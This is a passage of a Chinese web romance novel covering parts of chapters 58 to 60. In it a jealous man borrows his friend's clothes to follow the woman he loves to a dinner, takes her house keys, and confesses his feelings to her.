他们宿舍的人一开始还开玩笑,说他家里肯定很有钱,后来慢慢的,大家都默认了这一点。 可奇怪的是,徐清聿在食堂吃饭的时候,点的却是最普通的 8.5 元套餐。 一荤一素,荤菜 4.5 元,素菜 3 元,白米饭 1 元。 晚自修回寝室也是如此。 徐清聿床位很整洁,衣服、书本、随身物品,摆放得端正。 每天晚自习结束回宿舍的半小时里,他又像个普通学生。 宿舍里的人一般都在打闹、洗漱、聊天,而徐清聿的作息一成不变,洗澡,洗衣服,吹头发。 他们大部分人,都是每周末回家,把换下来的衣服塞进袋子里,让家里的阿姨洗。 可是徐清聿不同,他每天都自己洗衣服,不管是衬衫还是袜子,全部亲手搓干净,再整整齐齐地晾起来。 Elliot心想,徐清聿大概是有洁癖的。 他接受不了一个人爱干净到这种程度。 大老爷们,糙一点怎么了? 所以他和徐清聿的关系,最开始一般般。 但徐清聿的洁癖,和大多数人理解的洁癖不太一样。 Elliot真正意识到这一点,是在高二寒冷的冬天。 学校统一发放的校服外套臃肿厚重,颜色单调,款式老气,别说精致的女生了,连大多男生都不喜欢穿。 可天气冷得刺骨,又要检查,不穿不行。 有一次,徐清聿的两件外套全不见了。 不知道是弄丢了,还是被偷了。 别人问起,他也只是说:“不知道放哪了。” 那天凌晨,温度降到了零度以下。 寒风像刀子一样刮在人脸上。 宿舍离教学楼有一段距离,不穿外套简直是自虐。 徐清聿还是穿着薄薄的毛衣。 Elliot瞥见,心想这家伙迟早要感冒,于是把自己的另一件外套,丢给了他。 几乎是同时,同寝室另一个男生也扔给他一件外套,“给你,我这件没怎么穿,比他的干净。” Elliot骂道:“你别捧一踩一啊。” 徐清聿没有半点犹豫,伸手拿起了Elliot的。 Elliot愣了一下。 他的外套确实洗过,但毕竟他经常打球,衣服上难免会沾上汗水和灰尘,即便洗干净了,看起来也不像另一件崭新。 Elliot受宠若惊,忍不住问他:“为什么不要那件干净的?” “脏。” Elliot更迷惑了。 要说脏,他这件外套怎么看都比另一件更不干净,可徐清聿竟然说,另一件才是脏的? 他不理解。 直到后来,他和徐清聿真正熟悉起来,才明白其中的原因。 徐清聿确实有洁癖,但不是普通意义上的洁癖。 他不能忍受脏。 但他以后想成为医生。 医院是个复杂的地方,血液、细菌、疾病、死亡交错。 每天都要直面许多混乱和污秽,如果有普通意义上的洁癖,那根本无法在这个行业生存。 所以徐清聿也不是不能接受肮脏,但比起衣物上的灰尘、污渍,他更不能接受的是“别的脏”。 之前把衣服递给徐清聿的那个男生,在学校里风评不错。 长相干净,衣着考究,平时看起来彬彬有礼,但私底下,换女朋友的速度比翻书还快。 而Elliot,不乱搞。 所以徐清聿觉得他干净。 又比如现在,Elliot正在等绿灯,徐清聿忽然唤了他的名字。 “寒音。” 不是英文名,是中文名。 徐清聿已经很久没叫他真名了,平常习惯叫他的英文名。 Elliot偏头看徐清聿,试探地问:“怎么了?” 徐清聿声音没有什么起伏:“我们换一下衣服。” Elliot眨了下眼。 换衣服? 他笑了一声,趁着等绿灯的间隙,把自己的外套拿过来丢给徐清聿:“早说啊,想换个风格直说,来来来,我这件挺适合你……” “不是外套。”徐清聿打断他,“里面的衣服,裤子,全部换。” Elliot的动作僵住。 他握着方向盘,斜着眼看徐清聿,表情微妙。 “你说……都换?” “嗯,全部。” Elliot:“……” 半晌,他深吸一口气:“Zeph,我知道你不嫌弃我,但你知不知道你这个要求有点过分?” 徐清聿靠着椅背:“嗯。” 红灯变绿,车子继续前行。 Elliot妥协,认命地拐进一个偏僻的小巷,把车子停好。 “行吧,换就换。”他一边解安全带,一边吐槽,“我这身衣服可是限量款,我的尺码比你大一点,你穿着肯定不舒服,别到时候又嫌弃……” 话没说完,他看到徐清聿已经开始解大衣的扣子。 脱掉大衣,脱里衬的衣服。 看到徐清聿的白花花的腹肌。 Elliot的眼皮跳了跳:“Zeph……你还真是挺迫不及待的。” 国外同性恋见怪不怪。 有的地方异性恋反倒成了少数。 徐清聿这身材,要是放到国外,绝对会被一群小男生欣赏。 可惜Elliot是直的。 徐清聿身材再好,他也只会在心里感叹一句:云听,辛苦了。 徐清聿没理他,利落地换下自己的衣服,顺手把Elliot的卫衣套上,又换了裤子。 等交换好衣服,Elliot重 新看徐清聿,啧了一声。 他看惯了徐清聿成熟系的穿搭。 但现在,他穿着他的连帽卫衣,短款棉服,搭配工装裤和马丁靴,整个人看起来年轻了不止五岁,有种随性的学生气。 Elliot竖起大拇指:“Zeph……要不是我亲眼看你换的衣服,我都快认不出你了。” 徐清聿低头整理了下袖口,手指拂过衣料褶皱,确认整齐后,才抬起眼睛,再次喊了一声:“寒音。” 又是中文名。 Elliot毛骨悚然。 徐清聿说:“抱歉,我有点事。” Elliot听懂他的话:“你小子换了身衣服,连饭都不吃了?” 徐清聿解释道:“我要出去一趟,你把车留下,Kai过来接你。” Elliot看他着急的模样,心想估计又要追妻去了。 他懒得计较,反正是兄弟,该帮的还是要帮:“行吧,车留给你,记得还我。” 徐清聿坐到驾驶位。 Elliot弯腰敲了敲驾驶位的车窗,面无表情说:“这顿饭你欠我,下次补十顿。” 徐清聿抬眸,“嗯。” Elliot又说:“Zeph,教你一个办法,你老婆要是不理你,你就撒娇卖萌,你老婆肯定会心软。” “嗯。” Elliot满意地直起身,准备离开,听到徐清聿说:“寒音,别去猫多的地方。” 第三次了,中文名。 Elliot:“什么?” 徐清聿已经开着他的大G扬长而去。 * 半小时前。 车子驶过林荫路,天色微暗。 徐清聿正在看Kai给他发的消息。 是一个庄园的链接。 庄园是Kai预定的,邀请两人就餐。 Kai的消息接连不断。 说什么庄园里面有千年老鳖、野生葫芦娃,各种顶级山珍海味,还信誓旦旦地说这地方在国外都是有名的。 徐清聿听完就知道是个噱头。 别说Kai一个外国人,Elliot一个国人在国外待久了,刚回国也被人骗得团团转,连这种话都信。 徐清聿正想回复。 周之寒的消息跳出来了。 周之寒:「兄弟,我刚才看到小云出去了。」 周之寒:「她跟一个男人一起出去的。」 徐清聿目光一沉,指尖停在屏幕上,手掌收紧。 周之寒:「起初我以为那个人是你,刚想上前打招呼,结果发现不是。我大概真的是眼瞎了,走近一看和你长得也不一样,怎么会认错呢?」 周之寒:「我问他们去哪,小云说他们去林涧小馆吃饭。」 林涧小馆 吃饭。 徐清聿回复了一句:「谢谢。」 接着转到地图软件,输入地址。 搜索结果出来,他的眉头拧紧。 地方不算远,但偏僻,周围没有商场,也不是热闹的餐饮区。 徐清聿拇指点在屏幕上,点开街景图,画面里是一条僻静的小路,两侧树影摇晃,远处的建筑暗沉低调。 徐清聿盯着地图看了一会儿,眼神越发冷淡。 他不喜欢云听和别的男人出去。 他想立刻过去。 徐清聿低头嗅了嗅自己身上的气味,眉头微不可察地皱了一下。 衣服上还有猫薄荷的味道。 他和Elliot的目的地也是个山庄,位置偏远,附近也没有商场,连沿途的便利店都寥寥无几。 徐清聿想回去换一身衣服,但很快就放弃了这个念头。 回家换衣服,来回至少一小时。再加上找衣服、换衣服的时间,等他赶到餐厅,云听大概已经吃完饭,甚至可能和那个男人走了。 徐清聿转而考虑另一个方案。 去商场买一套。 可是附近没有商场,最近的购物中心也要开车二十分钟。 太慢了。 他不想让云听和别的男人多待哪怕一秒。 所以他选择了最直接的办法。 “寒音。” * 徐清聿到饭店的时间和云听几乎一致。 车子驶入停车场时,他的视线扫了一圈,正巧看到云听。 云听坐在副驾驶上,眉眼带笑,正在跟驾驶座上的男人交谈。 徐清聿视线微冷,指尖无声地扣紧了方向盘。 他没有立刻停车,而是踩着稳定的油门,沉住气跟在陆辞安车子后,直到对方选定车位,缓缓停下。 徐清聿观察了一眼停车位的分布,侧打方向盘,将车停在陆辞安车的右边。 云听没有第一时间下车,低着头在座位间翻找着什么。 她的钥匙扣掉了。 过了二十秒,她总算在座椅的缝隙里找到钥匙扣。 顺手挂回包上后,才推开车门下车。 这个时间,恰巧徐清聿解开安全带,推门而出。 云听低头跨步下车。 她没有抬眼,先看向地面,准备踩稳后再直起身子。 但刚迈出一步,她的视线便被对面那双突兀出现在眼前的鞋子吸引了。 一双黑色的马丁靴。 靴身干净,鞋带系得严丝合缝,靴筒紧贴着脚踝,皮质泛着淡淡的光。 穿这种鞋的人,要么是追求风格的年轻人,要么是对鞋子材质和包裹性有要求的人。 云听下意识地顺着靴筒往上看去。 黑色牛仔裤,修身但不紧绷,完美地勾勒出笔直的腿形。 长腿。 非常长的腿。 从脚踝到膝盖,再到大腿,笔直流畅,没有一点赘肉。即使隔着一层布料,她也能感受到这双腿的力量感。 云听的目光在对方腿上停顿了一会儿,心里冒出一个荒谬的念头,这人得有两米吧? 思及此,她往后仰一点,以便看清这个人到底有多高。 云听的视线继续向上扫过。 黑色连帽卫衣,短款棉服,肩线流畅,比例完美。 再往上,是冷淡的下颌线,棱角分明的侧脸,鼻梁高挺,唇形薄而冷淡,脸上没什么表情。 那一刻,云听的呼吸仿佛被人掐断。 脑子一片空白。 她呆呆地盯着面前的人,思维有些迟滞。 默了片刻,她招呼道:“好巧啊,小风?” 对面是平铺直叙的语调,低沉的音质没有起伏,“好巧。” 云听睁大双眼。 不,不对……这是徐清聿? 怎么会是徐清聿? 他的穿衣风格很稳定,从不穿这种带点街头感的卫衣和牛仔裤。他习惯黑色、灰色、深蓝色,穿衬衫、西装,或是长款风衣、大衣,极少有这么年轻化的打扮。 而且……徐清聿应该戴眼镜。 听到声音,云听差不多已经确认他是徐清聿。 不死心,又重新看了他一眼。 一颗淡淡的痣,落在眼尾处,像点缀在冷冽眉眼间的墨点。 徐淮风也有痣,只不过是在眼皮上。 徐清聿为什么来这里? 云听还没从刚才的错愕中缓过神来,陆辞安注意到她的异常,朝这边走了过来。 “怎么了?”陆辞安问。 他的目光在她和徐清聿之间来回转。 陆辞安沉吟几秒,似乎觉得有些眼熟, 他想起上次在酒吧门口,云听介绍说他是她的姐夫。 他问云听:“他是……你姐夫?” “不是。”云听不知道怎么和陆辞安解释,避开话题,“别管他,我们先进去吧。” 徐清聿轻轻地勾了勾唇:“好巧,要不一起吧。” 云听脸色微变:“徐清聿,我们有重要的事情要聊。” 她的语气是显而易见的警告。 可是徐清聿完全无视了她的阻止。 徐清聿醋坛子已经打翻了。 他眯起眼睛:“我老婆不放心你和异性一起吃饭,让我跟着。” 云听睁大眼睛,还没开口反驳,陆辞安若有所思地看了她一眼:“这样啊……既然你姐姐担心你,那就一起吧,没关系的。” 云听:“……” 不是……这都什么跟什么啊?! 她忍无可忍地抬脚,在徐清聿的脚背上狠狠踩了一下。 …… 包厢暖气很足,外头是漫天的冷雾,寒风打在玻璃窗上,映得室内越发温暖。 桌上是一锅慢炖的野生菌菇汤,汤汁滚沸,白雾蒸腾。 云听手上捧着一杯温热的姜茶,手指被暖意包裹。 她轻轻抿了一口,温度刚刚好。 陆辞安低头挑拣着锅里的山药,用公筷将煮得软糯的那几块放进云听的碗里:“尝尝这个,冬天吃点温补的东西比较好。” 云听笑着点头,拿起筷子夹了一块,尝了一口。 她正想夸奖几句,便感觉到徐清聿灼热的目光,带着浓烈的压迫感落在她身上。 她偏过头,迎上徐清聿深沉的眼神。 徐清聿的脸色不太好看。 他没吃东西,连 筷子都没动一下,眼神冷冷地瞥过陆辞安。 云听一时没懂他的情绪,收回目光继续吃饭,却听到徐清聿不轻不重笑了一声:“山药有那么好吃?” 云听顿了顿,夹着山药的筷子停在了半空中。 她转头看他:“你有意见?” 徐清聿没说话,拿起筷子,从锅里夹了一块豆腐,不紧不慢地吃了起来。 陆辞安发现徐清聿情绪的变化,温和地开口:“你不吃点别的吗?天冷,多吃点热的。” 徐清聿漫不经心:“谢谢,不用了。” 他盯着云听碗里那块山药看了两秒,伸手拿起公筷,直接从锅里夹起一块山药,放进自己的碗里,慢条斯理地吃了起来。 云听:“……” 陆辞安没太在意。 云听发现,徐清聿不仅开始吃山药,甚至连她刚刚夹过的菌菇、枸杞、竹荪,他都一一跟着拿了一份。 她吃什么,他就一定要吃什么。 云听:“……” 陆辞安中途去了卫生间,包厢只剩云听和徐清聿。 云听放下勺子,瞪徐清聿,警告道:“徐清聿,你不要以为你穿了这身衣服,你就是你小风了。” 她继续说:“你不是二十岁,你二十八岁了,能不能成熟一点?没事赶紧走。” 话音刚落,徐清聿望着她,平直的嘴角下拉:“你今天没认出我,我有点不开心。” 云听:“……” 云听被他这句话一堵,哑口无言。 今天的徐清聿实在无理取闹,她不耐烦道:“那是因为你穿得不像你自己。” “哦?”徐清聿挑眉,“我老婆什么时候脸盲了?” 云听:“……” 徐清聿这话是在找茬,她懒得搭理他。 可徐清聿显然不想让她如愿。 他声音压低,带着显而易见的嫉妒和咄咄逼人:“你刚才和他聊得挺开心的,嗯?” 云听没理他,继续喝汤。 “香水很有趣?” 云听:“……” “你跟他说话的时候,笑得那么开心?” 云听忍不住了,抬眼看他,“徐清聿,你能不能不要这么幼稚?” 徐清聿憋屈道:“那又怎么了?你24岁能认错人,我不能幼稚吗?” 徐清聿想到这几天他每天穿着猫薄荷泡过的衣服裤子,讨猫欢心,忍住不见云听,结果云听和别的男人出去约会,还认错人。 更吃醋了。 要什么理智。 他夹起一块山药,扔回自己的碗里,“还吃山药?醋都吃饱了。” 云听瞅见徐清聿眼神里写满了:你跟别的男人聊得这么开心,我不高兴。 太直白了。 她原本还想认真跟他讲道理,可看着他这副模样,话到嘴边忽然变了味儿。 她盯着他。 人到无语的时候真的想笑。 云听气笑了。 真的笑了。 * 晚餐结束得不算太晚。 一番交流过后。 云听对陆辞安说:“如果你想给你奶奶弄一款香熏,其实最好问问她的想法。” “万一老年人不能接受呢,有些人习惯了某种味道,一旦换了,反而不适应。” 陆辞安陷入沉思。 他犹豫地问道:“那这样岂不是不能给奶奶一个惊喜?” “惊喜的前提是对方真的喜欢。”云听笑了笑,语气放缓,“不过你可以让我看看她现在用的是什么香熏,说不定能找到相近的香料。” 陆辞安抬起手腕看了看时间,提议道:“要不现在去一趟我奶奶家吧?离这里不远,她还没睡。” 云听略微思考了一下,点头:“可以。这样的话,我可以用你同事的身份了解她的喜好。” 她迈步往外走,身后一道熟悉的气息紧紧跟着她。 云听脚步一顿,回头,看到徐清聿站在她身后。 他的手插在衣服口袋里。 看起来的确像20出头的。 云听提醒:“你可以走了。” 徐清聿扬了扬下巴:“我送你。” “不用。”云听直接拒绝,“我们自己有车。” 徐清聿不疾不徐道:“恐怕不行。” “什么意思?” 徐清聿从口袋里拿出手机,滑了一下界面,“刚才听到地址了。” 云听不明白他又在搞什么名堂。 徐清聿将手机屏幕朝他们晃了一下:“从这边过去有两条路,一条发生追尾事故,已经堵得动弹不得,另一条需要经过景区隧道。” 他停顿了一下,看向陆辞安,“今天限号,到晚上八点。你的车——开不了。” 陆辞安随即掏出手机,点开导航一看,徐清聿说的全都属实。他的车牌号正好在限号范围内,确实无法通行。 云听抿了抿唇。 她知道徐清聿不会无的放矢,但他这副胸有成竹的样子,真让人心烦。 云听对陆辞安说:“要不改天?” 徐清聿贴心道:“今天吧,我今天没事,我送你们。” 陆辞安稍做犹豫,最终点头道:“那就麻烦你送我们一趟了,等会还得麻烦你送我们回来。” 云听和陆辞安坐在后座。 两人自然地把徐清聿当成了司机。 云听动了动鼻子,这车……不像是徐清聿的。 她观察四周时,不经意间从后视镜里看到了徐清聿脸。 他专注地开着车,侧脸轮廓冷峻。 后视镜的角度恰好让他们的视线短暂地交汇了一瞬。 云听指尖微僵,若无其事地低下头,避开对视。 气氛沉闷,云听有点无聊,翻了翻朋友圈。 看到Elliot连发了三条,从下到上分别是: 「兄弟放我鸽子,给我留下一身香喷喷的衣服,隔壁流浪猫馋坏了。」 「千年老鳖没捕到,野生葫芦娃没看到,山珍海味没吃到,还被一群猫追了几条路。」 「我为兄弟肝脑涂地,兄弟为色把我算计。」 第59章 第五十九章 迟到的告白 徐清聿送云听回去时, 夜已深。 冬天的寒意盘踞在空气中,小区静悄悄的。 黑色大G停在小区停车场。 车门打开,一道纤细的身影走了下来。 云听裹紧大衣, 头也不回地往前走。 徐清聿没有离开,直接将车子熄火。 喊了一声,“云听。” 云听脚步顿住,侧身, 不耐烦问:“你还有事?” 徐清聿走下车,单手关上车门,“我想上楼喝杯水。” 云听一想到回来时,徐清聿当着陆辞安的面胡说八道,气不打一处来, 叱出声:“徐清聿,你别得寸进尺。” 徐清聿像是没听见一样,耷拉着眼皮,一副丧失精气神的模样:“开的时间太久,我有点累了。” 无声对峙。 风从两人之间穿过。 云听的身体莫名哆嗦了下, 心里筑起的防线开始坍塌。 徐清聿已经开了一个半小时的车。 从这里回去,开车至少还要四十分钟,而且是夜路。 她沉默几秒:“……随便你。” 两人一前一后地朝楼栋走去。 楼道里亮着暖黄色的灯光,投射在他们身上, 影子交错着落在地面上。 空间安静得只剩下两人的脚步声。 鞋跟踩在地板上,回响被墙壁吞噬, 拖出淡淡的回音。 到家后,云听停在房门口,手落在门把上,没有拧动。 徐清聿看她在发呆, 问:“怎么了?” 云听回头,朝他摊开手心,掌心向上:“钥匙。” 徐清聿故意曲解她的意思,伸出手,指尖地沿着她的掌纹滑过,明知故问:“什么钥匙?” 温热的触感让云听的手指一颤,她下意识地想要缩回去,却被徐清聿一把握住,他的手指强硬地穿进她的指缝,与她十指相扣。 挣扎无果,云听瞪他:“我房间的钥匙。” 徐清聿脸上露出一点疑惑:“你的钥匙怎么会在我这?” 云听看着他,嗤笑一声:“徐清聿,你别装了。” 徐清聿不慌不忙,牵着她的手不放:“我没有。” 这三个字落下,空气又安静几秒。 云听被徐清聿的不要脸震惊,面上却不恼:“哦?你没有?” 徐清聿不置可否地耸耸肩,信誓旦旦回答:“当然没有。” 云听见状,叹气:“行吧,既然没有,那我们进不去了。” 她后退一步,使出全力抽出手,“我忘记带钥匙回来了。” 掌心落空,徐清聿的指尖动了动,像是在权衡什么。 云听不催他,就抱着手臂,耐心地等他的选择。 几秒后,徐清聿淡定地从大衣口袋里掏出一把钥匙。 钥匙划破空气,落进锁孔。 云听看到徐清聿手里和她一模一样的钥匙,唇角抿起 。 这把钥匙,她找了整整一个星期。 家里里里外外翻了个遍,柜子、抽屉、沙发缝、鞋柜、冰箱顶都没放过,但就是找不到。 最可疑的是,钥匙是在徐清聿来过之后才不见的。 自己真的蠢到家。 一开始怀疑云朵弄丢,后来怀疑自己弄丢,就是没有怀疑过徐清聿会偷偷摸摸拿走她的钥匙。 后面越想越不对劲,她越来越肯定是徐清聿拿的。 徐清聿太镇定了,脸上也不见心虚。 云听审视他:“徐清聿,钥匙是从哪儿来的?” 徐清聿神色未变,门开后,把钥匙从锁里拔出来,理所当然地放进口袋:“你自己掉的。” 云听冷笑:“我掉的?掉哪儿了?” 徐清聿回答:“地上。” 云听盯着他看了一会儿,点了点头:“哦,地上。” 徐清聿无奈,抬手揉了揉眉心,懒懒地开口:“别这么说,听着好像我是小偷。” 云听又被徐清聿倒打一耙气笑,“你不是吗?” 两人走进房间。 云听连看都没看徐清聿一眼,直接拐进厨房。 云朵不知道跑哪去了,不在客厅。 云听想到云朵对徐清聿仇视的态度,恶毒地想:朵朵,快上去咬他,让他知难而退。 不出0.1秒。 算了别咬。 不然徐清聿又要赖上她。 云听打开水壶,倒满水,按下开关。 水开始翻滚,她双臂交叉地倚着厨房柜台,盯着水壶出神。 等水烧开,她就让徐清聿喝了赶紧走。 她才不想和徐清聿继续纠缠。 从门口到现在,她已经被他气得不行。 要不是看在他开车累了的份上,她根本不会让他进门。 回来时,云听和陆辞安在探讨一种特殊香调的持久性问题,“辞安,其实,这种留香时间还可以再延长,但核心问题是……” “咳。” 忽然,一道低沉的咳嗽声打断了对话。 云听:“你干嘛?” 她懒得理会,继续和陆辞安交谈。 陆辞安刚准备接着上一个话题深入讨论,徐清聿又清了清嗓子,这次声音比刚才还重了一些。 云听终止和陆辞安的聊天,对嗓子有病的司机说:“徐清聿,你到底怎么了?这顿饭本来就跟你没关系,我们也不用你送,你自己非要贴上来。” 她怕徐清聿又搬出“我老婆”这个救兵,补充:“徐清聿,毕竟你只是我姐夫,没资格管我。” 徐清聿抬起眼睛,镜子里两人的目光又对上了 他脸不红心不跳地说:“可我现在在追你。” 云听的脑子“嗡”的一下炸开了。 陆辞安的反应更大,迟疑开口:“等一下……等一下,你不是她的姐夫吗?” 云听咬紧牙关,双手死死地抓着包,生怕自己一时气急直接砸过去,“徐清聿,你不要乱说话。” 徐清聿语气平静得让人发指:“我老婆要跟我离婚,我追你有什么不对吗?” 陆辞安:“……?” 他摸了摸头发,一时间没反应过来,现在想想,好像哪里都透着诡异。 不对劲,非常不对劲。 三角恋啊。 陆辞安想了想,选择明哲保身:“放心,这是你们的家事,我不会乱说的,当我不存在就行。” 要命,有理说不清。 云听指甲嵌进掌心,她忍无可忍地踹了下前面的座椅:“没有离婚,你别乱说话!” “嗯。”徐清聿勾唇,“记得你说的话。” 云听:“……” …… 五分钟后。 水烧开了。 云听端着水走出厨房,看见自家猫竟然趴在徐清聿的腿上,喉咙里发出满足的呼噜声。 如果她没记错,上次徐清聿来的时候,朵朵看到他尾巴炸得像根狼牙棒,随时都要扑上去。 可现在呢? 平日里最讨厌徐清聿的小祖宗,居然用脑袋一个劲儿地蹭着徐清聿的掌心,还舔了舔他的指尖,姿态亲昵得过分。 云听:…… 她觉得自己遭到了背叛。 朵朵什么时候被收买了? 更离谱的是。 徐清聿竟然也一脸专注地逗着猫,一人一猫玩得不亦乐乎,完全没把她放在眼里。 云听倏地有一种自己才是多余的感觉。 一股莫名的不爽从心底升腾起来,她自己都不知道到底是在吃谁的醋。 云听眯了眯眼:“徐清聿,你是不是给它吃了什么?” 徐清聿无辜地眨了眨眼睛:“没有。” 云朵舔完徐清聿的脖子,又去舔他的脸。 舔完脸之后,伸出粉色的小舌头,试图去舔徐清聿的嘴唇。 徐清聿一侧头,避开了它的舔舐,温柔道:“这里只有你妈妈可以碰。” 云听的脸“唰”地一下红了,耳尖都开始发热。 她手一抖,想把水泼徐清聿脸上。 仔细想想,不行。 哪怕是冷水泼到徐清聿脸上,他也会无病呻吟,赖上她。 对付徐清聿这种无赖,不理他最好。 云听强行装作没听到,面无表情地把水杯递给他。 “喝。”她把杯子抵在徐清聿唇上,一字一顿,“喝完赶紧走。” 徐清聿接过水杯,垂眸吹了吹杯沿的热气,“你脸这么红?” “你管得着?”云听气笑了,“你还想怎么样?” 徐清聿靠在沙发上,手指慢悠悠地挠着云朵的下巴:“水太烫了,等水凉一点再喝。” 云听拳头捏紧了几分,眼神危险。 她觉得,她刚刚绝对做了个错误的决定。 眼不见为净,徐清聿爱咋地咋地,云听转身离开。 可她刚一转身,手腕被人轻轻一拽。 下一秒,云听整个人被带着跌坐下去。 她坐在徐清聿的腿上,整个人被他圈在怀里。 云朵从徐清聿的腿上变成趴在沙发上。 她坐在了徐清聿的腿上。 云听抬起头,想要瞪徐清聿,却撞进他的眼神里。 温柔,炽热,深邃得像是要将她吞没。 明明这张脸薄情得让人心冷,可他的眼神,却偏偏灼人得让人心跳不稳。 云听的心错了一拍。 她忍不住想起……那天晚上在沙发上发生的事情。 想到那些画面,她的脸红得能滴血。 “徐清聿,你,你放开我。” “云听……”徐清聿无可奈何地吐出一口气,“别躲了。” 云听的心跳越来越快。 她被徐清聿深情的眼神一点点逼到角落里,已经无处可逃。 徐清聿克制住想要亲吻云听的想法:“哎,那我先走了。” 他说完,松开手。 云听的心跳还没恢复正常,愣愣地看着徐清聿站起身,朝门口走去。 他即将走到门口时,云听叫停他,再次朝他摊开手心:“等一下,你把钥匙拿出来。” 徐清聿摇头:“不在我身上。” 他慢悠悠地张开双臂,唇角噙着戏谑的笑意:“不信的话,你自己找。” 云听分明看到徐清聿开门后,把钥匙揣进口袋,她强行压住翻涌的怒气,走过去摸他的外套口袋。 口袋里只有手机和车钥匙,没有她要找的钥匙。 外套口袋没有,裤子口袋呢? 云听眯了眯眼,牙一咬,手指直接探向徐清聿的裤袋。 她的指尖碰到了徐清聿的腰侧,从上 往下滑,停在他的裤兜里。 一不小心,就摸到了徐清聿坚硬的腿部肌肉。 手下触感结实又富有弹性。 隔着裤料,她能感觉到那股令人窒息的炽热。 云听冷静下来后,继续摸索。 可惜,她找了一圈,什么都没有。 云听皱起眉,继续检查另一侧。 指尖又一不留神压在他大腿根部,徐清聿笑了一声。 还是没有。 云听的视线最后落在他的卫衣口袋里。 她抬手伸进去摸了一下。 刚一伸进去,徐清聿一把搂住她的腰,将她拉进怀里。 云听鼻尖撞上了他的胸膛,整个人被牢牢地禁锢在他怀里。 她猛地抬头,正想开口,就对上了徐清聿含笑的眼神。 他的嗓音低低的,带着一丝刻意的暧昧:“你要找哪里?” 云听羞得伸手就要去掐他的胳膊:“你放开我。” 徐清聿轻松地扣住她的手腕,顺势将她按得更紧,“怎么不信我呢?” 云听意识到自己是真的玩不过徐清聿,瞬间泄气,“你到底把钥匙放哪了?” 徐清聿抱够了,才放开她。 摊开手心,里面正是那把备用钥匙,“给你。” “我本来想给你放门口的。” “所以我真不是故意要拿钥匙的。” 就在云听以为一切要真正结束时,徐清聿推开门,没有离开,而是转过身,定定地看着她。 “云听,我有话想对你说。 云听心头一震,后退一步:“你……又想干嘛?” 徐清聿静静地凝视她,眼底深处藏着翻涌的波澜。 眼神专注得像是要将她刻进眼底。 “我一直在想,我是什么时候开始喜欢你的。” 徐清聿勾了勾唇,像是嘲弄自己,又像是在感慨。 “可惜,无论怎么回想,答案都是——太晚了。” “晚到当我察觉到的时候,你已经不需要我了。” 云听的指尖颤了一下,心里酸酸的。 她明明已经不去想这些了,她已经告诉自己,一切都过去了。 喜欢徐清聿,是她自己的事,与徐清聿无关。 可是在徐清聿毫无保留地剖白后,那些隐藏在时间里的不甘、心酸、遗憾……还是一瞬间漫了出来。 如果徐清聿的告白来得早一些就好了。 哪怕是在他出国前。 可是,没有如果。 徐清聿低声呢喃: “如果时间可以倒流就好了。” “如果可以回到过去,我一定不会这么迟钝,不会让你等。” “但可惜,时间不会倒流。” “我也没办法回到过去弥补你。” 徐清聿朝云听走近一步,弯下腰,与她平视。 “我不知道你什么时候开始喜欢我的。” “也不知道,在我不知道的那些年里,你有没有等过我,期待过我。” “但如果有的话——” 他顿了顿,声音更低了些,叹息道: “那一定是我这辈子最遗憾的事。” “所以,如果可以的话,你把自己想象成十八岁,把我当成二十二岁吧。” 云听愣愣地看着他:“……你说什么?” 徐清聿嘴角上扬,眼中浮现一抹少年般的肆意,像是想起了什么有趣的事。 “你不是说我今天很幼稚吗?” “那就当我是二十二岁。” “二十二岁的徐清聿,想追十八岁的云听。” 听到这话,云听的心脏狠狠一跳,呼吸紊乱。 徐清聿的话……是什么意思? 徐清聿自顾自地说:“不过,说实话……” “二十二岁的我,和二十八岁的我一样无聊。” “二十二岁的时候,我总觉得自己很成熟,和同龄人比起来,我无趣、克制、理性得不像个年轻人。” “后来我想,可能是因为那时候的我,还没有爱上你吧。” “但如果我早一点爱上你……” 徐清聿眼眸中的遗憾更甚:“我可以在二十二岁这个青春的年纪对你耍流氓。” “可以在校园的路灯下拦住你,问你是不是喜欢我。” “可以在你情绪不好的时候抱住你。” “可以在你过生日的时候,送你一份‘男朋友限定’的礼物。” “如果是二十二岁的我,就不会像现在这样,明明心里吃醋得要命,还要谨记自己是个快奔三的男人。” “二十二岁的我会毫无顾忌地表现出来。” “看到你跟别人聊天太开心,我可以直接在你旁边插话。” “看到你和别人走得近,我可以直接站在你面前,挡住你,让你的眼里只有我。” “如果你故意气我,我可以低头亲你,让你不敢再逗我。” “可惜,我错过了。” “所以现在……” “快奔三的我,才学会这些幼稚的事。” 夜色正浓,屋内灯光温暖柔和。 徐清聿站在云听面前,低头看着她。 他的眼神里,藏着漫长岁月里的遗憾与深情。 徐清聿的话,是小心翼翼的试探,也是毫不掩饰的坚定。 他在等云听的回答,但又怕听到某个他不愿接受的答案。 云听没有说话,偏过头,避开了徐清聿的视线。 可徐清聿却并不打算让这个话题就此结束。 他说,“如果你觉得来没有意义,我们就直接跳过青春那一段。” “我们结婚,生子,共度余生。” 徐清聿没有用疑问句,而是用了一种极其笃定的语气。 对他而言,这不是一个假设,是一种命定的未来。 “我会用余下的日子来爱你。” “来补偿你。” “我们会很幸福。” 云听睫毛微颤,看着近在咫尺的徐清聿,心里某一处被什么触动了一下,泛起细微的颤栗。 徐清聿看着她,没再说什么。 只是伸出手,覆上云听的指尖,掌心的温度透过肌肤,渗入她的血液里,他说,“无论哪种,我都会很爱你。” …… 徐清聿走了。 但他的气息还未完全散去,客厅里似乎还残留着他的温度。 云朵跳上沙发,蹲在云听旁边,歪着头看她。 云听伸手,摸了摸它的头。 脑海中不断浮现出徐清聿离开前的眼神。 他说:“如果你真的想拒绝我,我会尊重你的想法。” 徐清聿没有咄咄逼人,也没有强硬的占有欲,甚至没有以往那种笃定的自信。 他的眼神有些沉。 徐清聿是真的……做好了被她拒绝的准备了吗? 这种认知,让云听心里浮起了一种陌生的慌乱感。 云听有些不安地站起身,想去倒杯水,可刚走到厨房门口,又不自觉停下。 手机震动。 云听把手插进口袋,摸到手机。 手又在口袋里翻找了一圈。 钥匙……不见了? 云听仔细摸了摸左右口袋,可还是空空如也。 这把钥匙她下车的时候还在。 好好好。 刚才在这里装作成熟又深情的人…… 走之前乖乖上交了备用钥匙。 但是神不知鬼不觉顺走了她的主钥匙。 云听又一次气笑,她打开手机,是徐清聿的信息: 「仔细一想,22岁的我可以做的事情,28岁的我,也一样可以。」 「甚至……」 「28岁的我,会比22岁的我更有能力这么做。」 第60章 第六十章 安眠药 徐清聿简单收拾了下东西, 把几件常穿的衣服叠好,装进行李箱。 其实也没多少要带的,重要的东西就几样。 其他的, 随时都能回来拿。 “Zeph!你出来——” 门外猝然爆发急促的敲门声,以及Elliot的愤怒吼声:“你给老子滚出来!别以为躲在家里就没事了!” 